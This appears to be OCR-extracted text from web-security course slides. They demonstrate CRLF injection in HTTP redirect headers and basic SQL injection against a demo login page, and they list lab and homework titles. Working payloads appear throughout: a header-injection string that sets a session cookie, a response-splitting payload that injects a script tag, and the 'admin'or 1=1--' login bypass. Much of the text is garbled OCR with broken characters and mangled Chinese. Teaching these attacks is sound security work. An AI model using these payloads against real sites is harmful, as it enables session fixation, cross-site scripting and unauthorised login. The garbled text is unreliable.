- ${PATH:0:1} => "/’



L ab 0x02 - meOw ¥



CRLF Injection

HTTP/1.1 302 Moved Temporarily\r\n

Server: Apache/2.4.29 (Ubuntu)\r\n
Content-Length: 31\r\n
Connection: close\r\n

Location: http://kaibro.tw\r\n

\r\n
<html><body>Hello</body></html>

[Oo]f&— T HTTP Response



CRLF Injection

HTTP/1.1 302 Moved Temporarily\r\n

Server: Apache/2.4.29 (Ubuntu)\r\n
Content-Length: 31\r\n

Connection: close\r\n
Location: [B[#E]\r\n

\r\n
<html><body>Hello</body></html>

AR E & Response header BJ#ZE . . .



CRLF Injection

HTTP/1.1 302 Moved Temporarily\r\n
Server: Apache/2.4.29 (Ubuntu)\r\n
Content-Length: 31\r\n

Connection: close\r\n

Location: a\r\n

Set-Cookie: IJSESSIONID=kaibro\r\n
\r\n
<html><body>Hello</body></html>

B2 A a%0d%0aSet-Cookie: JSESSIONID=kaibro



CRLF Injection

= \e Set-Cookie: JSESSIONID=kaibro



CRLF Injection

HTTP/1.1 302 Moved Temporarily\r\n
Server: Apache/2.4.29 (Ubuntu)\r\n
Content-Length: 31\r\n

Connection: close\r\n

Location: a\r\n

\r\n
<script>alert(1l)</script>\r\n\r\n
<html><body>Hello</body></html>

B A 0%0d%0a%0d%0a<script>alert(1)</script>



CRLF Injection

HTTP/1.1 302 Moved Temporarily\r\n

Server: Apache/2.4.29 (Ubuntu)\r\n
Content-Length: 31\r\n Header
Connection: close\r\n

Location: a\r\n

\r\n

<script>alert(1l)</script>\r\n\r\n Body
<html><body>Hel lo</body></html>

B A 0%0d%0a%0d%0a<script>alert(1)</script>



CRLF Injection

PT>\r\n\r\n Body
body>Hello</body></html>

2 A a%0d%0a%0d%0a<script>alert(1)</script>



SQL Injection Basic

e Structured Query Language
o ZEY ~ BIXEAER B HIE (realation dataase) FHYE Y

- e.g. MyUSQL, MSSQL, Oracle, PostgreSQL, ...



R ¥y = = v
.

L it




® BEEEA x +

& - C O FLZE | demo.orange.tw/sqli/ Yo mEMR @

Emaill

Password




® O BREEA X +

&€ > C ® FK2| demo.orange.tw/sqli/ v mESR @

Emaill
Password

Magic?

SELECT * FROM admin
WHERE username = "input' AND password = "input'



® BEEEA x +

¢ - C A ALE | demo.orange.tw/sqli/# W BESRN @ :

kaibro
test
)

Sign in

Magic?

SELECT * FROM admin
WHERE username = "kaibro' AND password = 'test'



00 ERAEA S

& > C A FLRZ | demo.orange.tw/sqli/# Yo WEHER @

admin‘or 1=1--

test

Magic?

SELECT * FROM admin
WHERE username = "admin'or 1=1-- " AND password = "test'



200 BEEEA X +

& > C ® FR2| demo.orange.tw/sqli/# o REER @

S AR

£uR - )



SELECT * FROM admin WHERE username =
"admin'or 1=1-- " AND password = 'test'



SELECT * FROM admin WHERE username =
"admin'or 1=1-- " AND password = 'test’



Lab Ox03 - No Password



HW 0x01 - Unexploitable



HW 0x02 - Safe R/W



I—IW Ox03




Q& A



